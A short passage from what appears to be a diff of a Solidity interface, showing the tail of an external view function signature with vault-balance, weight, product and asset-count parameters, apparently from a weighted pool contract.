_prev_vb, uint256 _new_vb, uint256 _packed_weight, uint256 _prod, uint256 _num_assets) external view returns (uint256); +}